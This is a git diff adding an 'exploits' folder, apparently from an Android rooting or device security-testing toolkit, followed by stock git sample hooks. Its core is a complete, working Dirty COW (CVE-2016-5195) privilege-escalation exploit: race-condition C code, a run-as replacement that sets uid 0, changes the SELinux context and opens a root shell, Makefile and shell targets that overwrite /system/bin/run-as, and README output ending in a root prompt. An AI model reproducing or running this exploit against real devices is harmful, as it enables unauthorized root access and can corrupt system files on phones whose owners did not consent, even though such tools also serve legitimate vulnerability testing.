+LOCAL_CFLAGS += -DDEBUG +LOCAL_LDFLAGS += -llog + +include $(BUILD_EXECUTABLE) + diff --git b/exploits/CVE-2016-5195/Makefile a/exploits/CVE-2016-5195/Makefile new file mode 100644 index 0000000..efd905f --- /dev/null +++ a/exploits/CVE-2016-5195/Makefile @@ -0,0 +1,30 @@ + +ARCH := $(shell adb shell getprop ro.product.cpu.abi) +SDK_VERSION := $(shell adb shell getprop ro.build.version.sdk) + +all: build + +build: + ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=$(ARCH) APP_PLATFORM=android-$(SDK_VERSION) + +push: build + adb push libs/$(ARCH)/dirtycow /data/local/tmp/dcow + +test: push + adb push test.sh /data/local/tmp/test.sh + adb shell 'chmod 777 /data/local/tmp/dcow' + adb shell 'chmod 777 /data/local/tmp/test.sh' + adb shell '/data/local/tmp/test.sh' + adb shell '/data/local/tmp/dcow /data/local/tmp/test /data/local/tmp/test2' + adb shell 'cat /data/local/tmp/test2' + adb shell 'cat /data/local/tmp/test2' | xxd + +root: push + adb push libs/$(ARCH)/run-as /data/local/tmp/run-as + adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as' + adb shell /system/bin/run-as + +clean: + rm -rf libs + rm -rf obj + diff --git b/exploits/CVE-2016-5195/README.md a/exploits/CVE-2016-5195/README.md new file mode 100644 index 0000000..9dd9bb8 --- /dev/null +++ a/exploits/CVE-2016-5195/README.md @@ -0,0 +1,53 @@ +# CVE-2016-5195 +CVE-2016-5195 (dirty cow/dirtycow/dirtyc0w) proof of concept for Android + +This repository demonstrates the vulnerability on vulnerable Android devices attached via ADB. +It does not disable SELinux (see https://github.com/timwr/CVE-2016-5195/issues/9) or install superuser on the device. + +``` + +$ make root +ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16 +make[1]: Entering directory '/home/user/dev/git/exploits/CVE-2016-5195' +[arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow +[arm64-v8a] Install : run-as => libs/arm64-v8a/run-as +[x86_64] Install : dirtycow => libs/x86_64/dirtycow +[x86_64] Install : run-as => libs/x86_64/run-as +[mips64] Install : dirtycow => libs/mips64/dirtycow +[mips64] Install : run-as => libs/mips64/run-as +[armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow +[armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as +[armeabi] Install : dirtycow => libs/armeabi/dirtycow +[armeabi] Install : run-as => libs/armeabi/run-as +[x86] Install : dirtycow => libs/x86/dirtycow +[x86] Install : run-as => libs/x86/run-as +[mips] Install : dirtycow => libs/mips/dirtycow +[mips] Install : run-as => libs/mips/run-as +make[1]: Leaving directory '/home/user/dev/git/exploits/CVE-2016-5195' +adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow +[100%] /data/local/tmp/dcow +adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as +[100%] /data/local/tmp/run-as +adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as' +dcow /data/local/tmp/run-as /system/bin/run-as +warning: new file size (17944) and file old size (5544) differ + +[*] size 5544 +[*] mmap 0xb536b000 +[*] currently 0xb536b000=464c457f +[*] madvise = 0xb536b000 5544 +[*] madvise = 0 0 +[*] /proc/self/mem 5544 1 +[*] exploited 0xb536b000=464c457f +adb shell /system/bin/run-as +uid /system/bin/run-as 2000 +uid 0 +0 u:r:runas:s0 +context 0 u:r:shell:s0 +/system/bin/sh: can't find tty fd: No such device or address +/system/bin/sh: warning: won't have full job control +shamu:/ # id +uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 +shamu:/ # + +``` diff --git b/exploits/CVE-2016-5195/dcow.c a/exploits/CVE-2016-5195/dcow.c new file mode 100644 index 0000000..8e9b535 --- /dev/null +++ a/exploits/CVE-2016-5195/dcow.c @@ -0,0 +1,29 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DEBUG +#include +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } +#elif PRINT +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } +#else +#define LOGV(...) +#endif + +extern int dcow(int argc, const char *argv[]); + +int main(int argc, const char *argv[]) +{ + return dcow(argc, argv); +} \ No newline at end of file diff --git b/exploits/CVE-2016-5195/dirtycow.c a/exploits/CVE-2016-5195/dirtycow.c new file mode 100644 index 0000000..c09665a --- /dev/null +++ a/exploits/CVE-2016-5195/dirtycow.c @@ -0,0 +1,210 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DEBUG +#include +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } +#elif PRINT +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } +#else +#define LOGV(...) +#endif + +#define LOOP 0x100000 +#define TIMEOUT 10 + +struct mem_arg { + void *offset; + void *patch; + off_t patch_size; + const char *fname; + volatile int stop; + int success; +}; + +static void *checkThread(void *arg) { + struct mem_arg *mem_arg; + mem_arg = (struct mem_arg *)arg; + struct stat st; + int i; + char * newdata = malloc(mem_arg->patch_size); + for(i = 0; i < TIMEOUT && !mem_arg->stop; i++) { + int f=open(mem_arg->fname, O_RDONLY); + if (f == -1) { + LOGV("could not open %s", mem_arg->fname); + break; + } + if (fstat(f,&st) == -1) { + LOGV("could not stat %s", mem_arg->fname); + close(f); + break; + } + read(f, newdata, mem_arg->patch_size); + close(f); + + int memcmpret = memcmp(newdata, mem_arg->patch, mem_arg->patch_size); + if (memcmpret == 0) { + mem_arg->stop = 1; + mem_arg->success = 1; + return 0; + } + usleep(100 * 1000); + } + mem_arg->stop = 1; + return 0; +} +static void *madviseThread(void *arg) +{ + struct mem_arg *mem_arg; + size_t size; + void *addr; + int i, c = 0; + + mem_arg = (struct mem_arg *)arg; + size = mem_arg->patch_size; + addr = (void *)(mem_arg->offset); + + LOGV("[*] madvise = %p %zd", addr, size); + + for(i = 0; i < LOOP && !mem_arg->stop; i++) { + c += madvise(addr, size, MADV_DONTNEED); + } + + LOGV("[*] madvise = %d %d", c, i); + mem_arg->stop = 1; + return 0; +} + +static void *procselfmemThread(void *arg) +{ + struct mem_arg *mem_arg; + int fd, i, c = 0; + mem_arg = (struct mem_arg *)arg; + unsigned char *p = mem_arg->patch; + + fd = open("/proc/self/mem", O_RDWR); + if (fd == -1) { + LOGV("open(\"/proc/self/mem\""); + } + + for (i = 0; i < LOOP && !mem_arg->stop; i++) { + lseek(fd, (off_t)mem_arg->offset, SEEK_SET); + c += write(fd, p, mem_arg->patch_size); + } + + LOGV("[*] /proc/self/mem %d %i", c, i); + + close(fd); + + mem_arg->stop = 1; + return NULL; +} + +static void exploit(struct mem_arg *mem_arg) +{ + pthread_t pth1, pth2, pth3; + + LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); + + mem_arg->stop = 0; + mem_arg->success = 0; + pthread_create(&pth3, NULL, checkThread, mem_arg); + pthread_create(&pth1, NULL, madviseThread, mem_arg); + pthread_create(&pth2, NULL, procselfmemThread, mem_arg); + + pthread_join(pth3, NULL); + pthread_join(pth1, NULL); + pthread_join(pth2, NULL); + + LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); +} + +int dcow(int argc, const char * argv[]) +{ + if (argc < 2) { + LOGV("usage %s /data/local/tmp/default.prop /default.prop", argv[0]); + return 0; + } + + const char * fromfile = argv[1]; + const char * tofile = argv[2]; + LOGV("dcow %s %s", fromfile, tofile); + + struct mem_arg mem_arg; + struct stat st; + struct stat st2; + + int f = open(tofile, O_RDONLY); + if (f == -1) { + LOGV("could not open %s", tofile); + return -1; + } + if (fstat(f,&st) == -1) { + LOGV("could not stat %s", tofile); + return 1; + } + + int f2=open(fromfile, O_RDONLY); + if (f2 == -1) { + LOGV("could not open %s", fromfile); + return 2; + } + if (fstat(f2,&st2) == -1) { + LOGV("could not stat %s", fromfile); + return 3; + } + + size_t size = st2.st_size; + if (st2.st_size != st.st_size) { + LOGV("warning: new file size (%lld) and destination file size (%lld) differ\n", (unsigned long long)st2.st_size, (unsigned long long)st.st_size); + if (st2.st_size > st.st_size) { + LOGV("corruption?\n"); + } + } + + LOGV("[*] size %zd", size); + mem_arg.patch = malloc(size); + if (mem_arg.patch == NULL) { + return 4; + } + + mem_arg.patch_size = size; + mem_arg.fname = argv[2]; + + read(f2, mem_arg.patch, size); + close(f2); + + /*read(f, mem_arg.unpatch, st.st_size);*/ + + void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0); + if (map == MAP_FAILED) { + LOGV("mmap"); + return 5; + } + + LOGV("[*] mmap %p", map); + + mem_arg.offset = map; + + exploit(&mem_arg); + + close(f); + // to put back + /*exploit(&mem_arg, 0);*/ + if (mem_arg.success == 0) { + return -1; + } + + return 0; +} \ No newline at end of file diff --git b/exploits/CVE-2016-5195/run-as.c a/exploits/CVE-2016-5195/run-as.c new file mode 100644 index 0000000..20559df --- /dev/null +++ a/exploits/CVE-2016-5195/run-as.c @@ -0,0 +1,71 @@ +#include +#include +#include +#include +#include + +#include +#include + +#ifdef DEBUG +#include +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } +#elif PRINT +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } +#else +#define LOGV(...) +#endif + +//reduce binary size +char __aeabi_unwind_cpp_pr0[0]; + +typedef int getcon_t(char ** con); +typedef int setcon_t(const char* con); + +extern int dcow(int argc, const char *argv[]); + +int main(int argc, const char **argv) +{ + //LOGV("uid %s %d", argv[0], getuid()); + + if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) { + LOGV("setresgid/setresuid failed"); + } + + //LOGV("uid %d", getuid()); + + dlerror(); +#ifdef __aarch64__ + void * selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY); +#else + void * selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY); +#endif + if (selinux) { + void * getcon = dlsym(selinux, "getcon"); + const char *error = dlerror(); + if (error) { + LOGV("dlsym error %s", error); + } else { + getcon_t * getcon_p = (getcon_t*)getcon; + char * secontext; + int ret = (*getcon_p)(&secontext); + //LOGV("%d %s", ret, secontext); + void * setcon = dlsym(selinux, "setcon"); + const char *error = dlerror(); + if (error) { + LOGV("dlsym setcon error %s", error); + } else { + setcon_t * setcon_p = (setcon_t*)setcon; + ret = (*setcon_p)("u:r:shell:s0"); + ret = (*getcon_p)(&secontext); + //LOGV("context %d %s", ret, secontext); + } + } + dlclose(selinux); + } else { + //LOGV("no selinux?"); + } + + system("/system/bin/sh -i"); + +} diff --git b/exploits/CVE-2016-5195/test.sh a/exploits/CVE-2016-5195/test.sh new file mode 100644 index 0000000..6a1a0c7 --- /dev/null +++ a/exploits/CVE-2016-5195/test.sh @@ -0,0 +1,17 @@ + +if [ -f /data/local/tmp/test ]; then + chmod 777 /data/local/tmp/test + rm /data/local/tmp/test +fi + +if [ -f /data/local/tmp/test2 ]; then + chmod 777 /data/local/tmp/test2 + rm /data/local/tmp/test2 +fi + +echo vulnerable!!!!!!! > /data/local/tmp/test +echo yournotvulnerable > /data/local/tmp/test2 + +chmod 444 /data/local/tmp/test2 +ls -l /data/local/tmp/test* + diff --git b/exploits/android_run_root_shell a/exploits/android_run_root_shell new file mode 160000 index 0000000..23f7d70 --- /dev/null +++ a/exploits/android_run_root_shell @@ -0,0 +1 @@ +Subproject commit 23f7d701b26a29ef636c0229bb7e184781912d2e diff --git b/exploits/cve-2016-5195.sh a/exploits/cve-2016-5195.sh new file mode 100644 index 0000000..ba4fd79 --- /dev/null +++ a/exploits/cve-2016-5195.sh @@ -0,0 +1,64 @@ +NDK_PATH="/home/imanol/devel/android-sdk/ndk-bundle" + +function pre_cve_2016_5195() +{ + local ARCH=$(adb -s $1 shell getprop ro.product.cpu.abi | tr -d '\r') + local SDK_VERSION=$(adb -s $1 shell getprop ro.build.version.sdk | tr -d '\r') + pushd exploits/CVE-2016-5195 > /dev/null + PATH=$PATH:$NDK_PATH + ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=$ARCH APP_PLATFORM=android-$SDK_VERSION &> /dev/null + adb -s $1 push libs/$ARCH/dirtycow /data/local/tmp/dcow &> /dev/null + adb -s $1 push libs/$ARCH/run-as /data/local/tmp/run-as &> /dev/null + popd > /dev/null +} + +function cve_2016_5195() +{ + local rootcmd="adb -s $1 shell run-as | tail -n +3" + adb -s $1 shell cp -a /system/bin/run-as /data/local/tmp/run-as_orig &> /dev/null + adb -s $1 pull /system/bin/run-as dump/$1/run-as &> /dev/null + adb -s $1 shell "/data/local/tmp/stat -c \"%u:%g %a\" /system/bin/run-as" &> dump/$1/run-as_stat + md5sum dump/$1/run-as &> dump/$1/run-as.md5 + adb -s $1 shell /data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as &> /dev/null + local USERID=$(echo '/data/local/tmp/id -u;exit' | eval "$rootcmd" 2> /dev/null | tr -d $'\r') + if [[ "$USERID" == "0" ]]; then + #exploit successful + echo "$rootcmd" + else + #exploit failed + return 1 + fi + return 0 +} + +function post_cve_2016_5195() +{ + local rootcmd="adb -s $1 shell run-as | tail -n +6" + local overwrite=0 + adb -s $1 shell /data/local/tmp/dcow /data/local/tmp/run-as_orig /system/bin/run-as &> /dev/null + + # Check 1: If root is still possible + local USERID=$(echo '/data/local/tmp/id -u;exit' | eval "$rootcmd" 2> /dev/null | tr -d $'\r') + if [[ "$USERID" == "0" ]]; then + echo "ERROR: UID still 0!!" + overwrite=1 + fi + # Check 2: Hashes + local ORIGHASH="$(echo $(adb -s $1 shell md5sum /data/local/tmp/run-as_orig) | cut -d' ' -f 1)" + local CURRENTHASH="$(echo $(adb -s $1 shell md5sum /system/bin/run-as) | cut -d' ' -f 1)" + if [[ "$ORIGHASH" != "$CURRENTHASH" ]]; then + echo "ERROR: MD5 checksum mismatch!!" + overwrite=1 + fi + + if [[ $overwrite == 1 ]]; then + # A message you never want to see..." + echo "CRITICAL: /system/bin/run-as has been POSSIBLY overwritten. In that case, manual recovery WILL be necessary. Do NOT reboot the phone under any circumstances if you don't know how to proceed and exercise caution. /data/local/tmp/dcow and /data/local/tmp/run-as_orig will be preserved, along the copy in the dump folder. May God help you." + fi + + adb -s $1 shell rm /data/local/tmp/run-as &> /dev/null + if [[ $overwrite == 0 ]]; then + adb -s $1 shell rm /data/local/tmp/dcow &> /dev/null + adb -s $1 shell rm /data/local/tmp/run-as_orig &> /dev/null + fi +} diff --git b/exploits/drammer/.git-disabled/HEAD a/exploits/drammer/.git-disabled/HEAD new file mode 100644 index 0000000..cb089cd --- /dev/null +++ a/exploits/drammer/.git-disabled/HEAD @@ -0,0 +1 @@ +ref: refs/heads/master diff --git b/exploits/drammer/.git-disabled/config a/exploits/drammer/.git-disabled/config new file mode 100644 index 0000000..f1b85b2 --- /dev/null +++ a/exploits/drammer/.git-disabled/config @@ -0,0 +1,11 @@ +[core] + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true +[remote "origin"] + url = https://github.com/vusec/drammer + fetch = +refs/heads/*:refs/remotes/origin/* +[branch "master"] + remote = origin + merge = refs/heads/master diff --git b/exploits/drammer/.git-disabled/description a/exploits/drammer/.git-disabled/description new file mode 100644 index 0000000..498b267 --- /dev/null +++ a/exploits/drammer/.git-disabled/description @@ -0,0 +1 @@ +Unnamed repository; edit this file 'description' to name the repository. diff --git b/exploits/drammer/.git-disabled/hooks/applypatch-msg.sample a/exploits/drammer/.git-disabled/hooks/applypatch-msg.sample new file mode 100755 index 0000000..a5d7b84 --- /dev/null +++ a/exploits/drammer/.git-disabled/hooks/applypatch-msg.sample @@ -0,0 +1,15 @@ +#!/bin/sh +# +# An example hook script to check the commit log message taken by +# applypatch from an e-mail message. +# +# The hook should exit with non-zero status after issuing an +# appropriate message if it wants to stop the commit. The hook is +# allowed to edit the commit message file. +# +# To enable this hook, rename this file to "applypatch-msg". + +. git-sh-setup +commitmsg="$(git rev-parse --git-path hooks/commit-msg)" +test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"} +: diff --git b/exploits/drammer/.git-disabled/hooks/commit-msg.sample a/exploits/drammer/.git-disabled/hooks/commit-msg.sample new file mode 100755 index 0000000..b58d118 --- /dev/null +++ a/exploits/drammer/.git-disabled/hooks/commit-msg.sample @@ -0,0 +1,24 @@ +#!/bin/sh +# +# An example hook script to check the commit log message. +# Called by "git commit" with one argument, the name of the file +# that has the commit message. The hook should exit with non-zero +# status after issuing an appropriate message if it wants to stop the +# commit. The hook is allowed to edit the commit message file. +# +# To enable this hook, rename this file to "commit-msg". + +# Uncomment the below to add a Signed-off-by line to the message. +# Doing this in a hook is a bad idea in general, but the prepare-commit-msg +# hook is more suited to it. +# +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" + +# This example catches duplicate Signed-off-by lines. + +test "" = "$(grep '^Signed-off-by: ' "$1" | + sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { + echo >&2 Duplicate Signed-off-by lines. + exit 1 +} diff --git b/exploits/drammer/.git-disabled/hooks/post-update.sample a/exploits/drammer/.git-disabled/hooks/post-update.sample new file mode 100755 index 0000000..ec17ec1 --- /dev/null +++ a/exploits/drammer/.git-disabled/hooks/post-update.sample @@ -0,0 +1,8 @@ +#!/bin/sh +# +# An example hook script to prepare a packed repository for use over +# dumb transports. +# +# To enable this hook, rename this file to "post-update". + +exec git update-server-info diff --git b/exploits/drammer/.git-disabled/hooks/pre-applypatch.sample a/exploits/drammer/.git-disabled/hooks/pre-applypatch.sample new file mode 100755 index 0000000..4142082 --- /dev/null +++ a/exploits/drammer/.git-disabled/hooks/pre-applypatch.sample @@ -0,0 +1,14 @@ +#!/bin/sh +# +# An example hook script to verify what is about to be committed +# by applypatch from an e-mail message. +# +# The hook should exit with non-zero status after issuing an +# appropriate message if it wants to stop the commit. +# +# To enable this hook, rename this file to "pre-applypatch". + +. git-sh-setup +precommit="$(git rev-parse --git-path hooks/pre-commit)" +test -x "$precommit" && exec "$precommit" ${1+"$@"} +: diff --git b/exploits/drammer/.git-disabled/hooks/pre-commit.sample a/exploits/drammer/.git-disabled/hooks/pre-commit.sample new file mode 100755 index 0000000..68d62d5 --- /dev/null +++ a/exploits/drammer/.git-disabled/hooks/pre-commit.sample @@ -0,0 +1,49 @@ +#!/bin/sh +# +# An example hook script to verify what is about to be committed. +# Called by "git commit" with no arguments. The hook should +# exit with non-zero status after issuing an appropriate message if +# it wants to stop the commit. +# +# To enable this hook, rename this file to "pre-commit". + +if git rev-parse --verify HEAD >/dev/null 2>&1 +then + against=HEAD +else + # Initial commit: diff against an empty tree object + against=4b825dc642cb6eb9a060e54bf8d69288fbee4904 +fi + +# If you want to allow non-ASCII filenames set this variable to true. +allownonascii=$(git config --bool hooks.allownonascii) + +# Redirect output to stderr. +exec 1>&2 + +# Cross platform projects tend to avoid non-ASCII filenames; prevent +# them from being added to the repository. We exploit the fact that the +# printable range starts at the space character and ends with tilde. +if [ "$allownonascii" != "true" ] && + # Note that the use of brackets around a tr range is ok here, (it's + # even required, for portability to Solaris 10's /usr/bin/tr), since + # the square bracket bytes happen to fall in the designated range. + test $(git diff --cached --name-only --diff-filter=A -z $against | + LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0 +then + cat <<\EOF +Error: Attempt to add a non-ASCII file name. + +This can cause problems if you want to work with people on other platforms. + +To be portable it is advisable to rename the file. + +If you know what you are doing you can disable this check using: + + git config hooks.allownonascii true +EOF + exit 1 +fi + +# If there are whitespace errors, print the offending file names and fail. +exec git diff-index --check --cached $against -- diff --git b/exploits/drammer/.git-disabled/hooks/pre-push.sample a/exploits/drammer/.git-disabled/hooks/pre-push.sample new file mode 100755 index 0000000..6187dbf --- /dev/null +++ a/exploits/drammer/.git-disabled/hooks/pre-push.sample @@ -0,0 +1,53 @@ +#!/bin/sh + +# An example hook script to verify what is about to be pushed. Called by "git +# push" after it has checked the remote status, but before anything has been +# pushed. If this script exits with a non-zero status nothing will be pushed. +# +# This hook is called with the following parameters: +# +# $1 -- Name of the remote to which the push is being done +# $2 -- URL to which the push is being done +# +# If pushing without using a named remote those arguments will be equal. +# +# Information about the commits which are being pushed is supplied as lines to +# the standard input in the form: +# +# +# +# This sample shows how to prevent push of commits where the log message starts +# with "WIP" (work in progress). + +remote="$1" +url="$2" + +z40=0000000000000000000000000000000000000000 + +while read local_ref local_sha remote_ref remote_sha +do + if [ "$local_sha" = $z40 ] + then + # Handle delete + : + else + if [ "$remote_sha" = $z40 ] + then + # New branch, examine all commits + range="$local_sha" + else + # Update to existing branch, examine new commits + range="$remote_sha..$local_sha" + fi + + # Check for WIP commit + commit=`git rev-list -n 1 --grep '^WIP' "$range"` + if [ -n "$commit" ] + then + echo >&2 "Found WIP commit in $local_ref, not pushing" + exit 1 + fi + fi +done + +exit 0 diff --git b/exploits/drammer/.git-disabled/hooks/pre-rebase.sample a/exploits/drammer/.git-disabled/hooks/pre-rebase.sample new file mode 100755 index 0000000..33730ca --- /dev/null +++ a/exploits/drammer/.git-disabled/hooks/pre-rebase.sample @@ -0,0 +1,169 @@ +#!/bin/sh +# +# Copyright (c) 2006, 2008 Junio C Hamano +# +# The "pre-rebase" hook is run just before "git rebase" starts doing +# its job, and can prevent the command from running by exiting with +# non-zero status. +# +# The hook is called with the following parameters: +# +# $1 -- the upstream the series was forked from. +# $2 -- the branch being rebased (or empty when rebasing the current branch). +# +# This sample shows how to prevent topic branches that are already +# merged to 'next' branch from getting rebased, because allowing it +# would result in rebasing already published history. + +publish=next +basebranch="$1" +if test "$#" = 2 +then + topic="refs/heads/$2" +else + topic=`git symbolic-ref HEAD` || + exit 0 ;# we do not interrupt rebasing detached HEAD +fi + +case "$topic" in +refs/heads/??/*) + ;; +*) + exit 0 ;# we do not interrupt others. + ;; +esac + +# Now we are dealing with a topic branch being rebased +# on top of master. Is it OK to rebase it? + +# Does the topic really exist? +git show-ref -q "$topic" || { + echo >&2 "No such branch $topic" + exit 1 +} + +# Is topic fully merged to master? +not_in_master=`git rev-list --pretty=oneline ^master "$topic"` +if test -z "$not_in_master" +then + echo >&2 "$topic is fully merged to master; better remove it." + exit 1 ;# we could allow it, but there is no point. +fi + +# Is topic ever merged to next? If so you should not be rebasing it. +only_next_1=`git rev-list ^master "^$topic" ${publish} | sort` +only_next_2=`git rev-list ^master ${publish} | sort` +if test "$only_next_1" = "$only_next_2" +then + not_in_topic=`git rev-list "^$topic" master` + if test -z "$not_in_topic" + then + echo >&2 "$topic is already up-to-date with master" + exit 1 ;# we could allow it, but there is no point. + else + exit 0 + fi +else + not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"` + /usr/bin/perl -e ' + my $topic = $ARGV[0]; + my $msg = "* $topic has commits already merged to public branch:\n"; + my (%not_in_next) = map { + /^([0-9a-f]+) /; + ($1 => 1); + } split(/\n/, $ARGV[1]); + for my $elem (map { + /^([0-9a-f]+) (.*)$/; + [$1 => $2]; + } split(/\n/, $ARGV[2])) { + if (!exists $not_in_next{$elem->[0]}) { + if ($msg) { + print STDERR $msg; + undef $msg; + } + print STDERR " $elem->[1]\n"; + } + } + ' "$topic" "$not_in_next" "$not_in_master" + exit 1 +fi + +<<\DOC_END + +This sample hook safeguards topic branches that have been +published from being rewound. + +The workflow assumed here is: + + * Once a topic branch forks from "master", "master" is never + merged into it again (either directly or indirectly). + + * Once a topic branch is fully cooked and merged into "master", + it is deleted. If you need to build on top of it to correct + earlier mistakes, a new topic branch is created by forking at + the tip of the "master". This is not strictly necessary, but + it makes it easier to keep your history simple. + + * Whenever you need to test or publish your changes to topic + branches, merge them into "next" branch. + +The script, being an example, hardcodes the publish branch name +to be "next", but it is trivial to make it configurable via +$GIT_DIR/config mechanism. + +With this workflow, you would want to know: + +(1) ... if a topic branch has ever been merged to "next". Young + topic branches can have stupid mistakes you would rather + clean up before publishing, and things that have not been + merged into other branches can be easily rebased without + affecting other people. But once it is published, you would + not want to rewind it. + +(2) ... if a topic branch has been fully merged to "master". + Then you can delete it. More importantly, you should not + build on top of it -- other people may already want to + change things related to the topic as patches against your + "master", so if you need further changes, it is better to + fork the topic (perhaps with the same name) afresh from the + tip of "master". + +Let's look at this example: + + o---o---o---o---o---o---o---o---o---o "next" + / / / / + / a---a---b A / / + / / / / + / / c---c---c---c B / + / / / \ / + / / / b---b C \ / + / / / / \ / + ---o---o---o---o---o---o---o---o---o---o---o "master" + + +A, B and C are topic branches. + + * A has one fix since it was merged up to "next". + + * B has finished. It has been fully merged up to "master" and "next", + and is ready to be deleted. + + * C has not merged to "next" at all. + +We would want to allow C to be rebased, refuse A, and encourage +B to be deleted. + +To compute (1): + + git rev-list ^master ^topic next + git rev-list ^master next + + if these match, topic has not merged in next at all. + +To compute (2): + + git rev-list master..topic + + if this is empty, it is fully merged to "master". + +DOC_END diff --git b/exploits/drammer/.git-disabled/hooks/prepare-commit-msg.sample a/exploits/drammer/.git-disabled/hooks/prepare-commit-msg.sample new file mode 100755 index 0000000..f093a02 --- /dev/null +++ a/exploits/drammer/.git-disabled/hooks/prepare-commit-msg.sample @@ -0,0 +1,36 @@ +#!/bin/sh +# +# An example hook script to prepare the commit log message. +# Called by "git commit" with the name of the file that has the +# commit message, followed by the description of the commit +# message's source. The hook's purpose is to edit the commit +# message file. If the hook fails with a non-zero status, +# the commit is aborted. +# +# To enable this hook, rename this file to "prepare-commit-msg". + +# This hook includes three examples. The first comments out the +# "Conflicts:" part of a merge commit. +# +# The second includes the output of "git diff --name-status -r" +# into the message, just before the "git status" output. It is +# commented because it doesn't cope with --amend or with squashed +# commits. +# +# The third example adds a Signed-off-by line to the message, that can +# still be edited. This is rarely a good idea. + +case "$2,$3" in + merge,) + /usr/bin/perl -i.bak -ne 's/^/# /, s/^# #/#/ if /^Conflicts/ .. /#/; print' "$1" ;; + +# ,|template,) +# /usr/bin/perl -i.bak -pe ' +# print "\n" . `git diff --cached --name-status -r` +# if /^#/ && $first++ == 0' "$1" ;; + + *) ;; +esac + +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" diff --git b/exploits/drammer/.git-disabled/hooks/update.sample a/exploits/drammer/.git-disabled/hooks/update.sample new file mode 100755 index 0000000..80ba941 --- /dev/null +++ a/exploits/drammer/.git-disabled/hooks/update.sample @@ -0,0 +1,128 @@ +#!/bin/sh +# +# An example hook script to block unannotated tags from entering. +# Called by "git receive-pack" with arguments: refname sha1-old sha1-new +# +# To enable this hook, rename this file to "update". +# +# Config +# ------ +# hooks.allowunannotated +# This boolean sets whether unannotated tags will be allowed into the +# repository. By default they won't be. +# hooks.allowdeletetag +# This boolean sets whether deleting tags will be allowed in the +# repository. By default they won't be. +# hooks.allowmodifytag +# This boolean sets whether a tag may be modified after creation. By default +# it won't be. +# hooks.allowdeletebranch +# This boolean sets whether deleting branches will be allowed in the +# repository. By default they won't be. +# hooks.denycreatebranch +# This boolean sets whether remotely creating branches will be denied +# in the repository. By default this is allowed. +# + +# --- Command line +refname="$1" +oldrev="$2" +newrev="$3" + +# --- Safety check +if [ -z "$GIT_DIR" ]; then + echo "Don't run this script from the command line." >&2 + echo " (if you want, you could supply GIT_DIR then run" >&2 + echo " $0 )" >&2 + exit 1 +fi + +if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then + echo "usage: $0 " >&2 + exit 1 +fi + +# --- Config +allowunannotated=$(git config --bool hooks.allowunannotated) +allowdeletebranch=$(git config --bool hooks.allowdeletebranch) +denycreatebranch=$(git config --bool hooks.denycreatebranch) +allowdeletetag=$(git config --bool hooks.allowdeletetag) +allowmodifytag=$(git config --bool hooks.allowmodifytag) + +# check for no description +projectdesc=$(sed -e '1q' "$GIT_DIR/description") +case "$projectdesc" in +"Unnamed repository"* | "") + echo "*** Project description file hasn't been set" >&2 + exit 1 + ;; +esac + +# --- Check types +# if $newrev is 0000...0000, it's a commit to delete a ref. +zero="0000000000000000000000000000000000000000" +if [ "$newrev" = "$zero" ]; then + newrev_type=delete +else + newrev_type=$(git cat-file -t $newrev) +fi + +case "$refname","$newrev_type" in + refs/tags/*,commit) + # un-annotated tag + short_refname=${refname##refs/tags/} + if [ "$allowunannotated" != "true" ]; then + echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2 + echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2 + exit 1 + fi + ;; + refs/tags/*,delete) + # delete tag + if [ "$allowdeletetag" != "true" ]; then + echo "*** Deleting a tag is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/tags/*,tag) + # annotated tag + if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1 + then + echo "*** Tag '$refname' already exists." >&2 + echo "*** Modifying 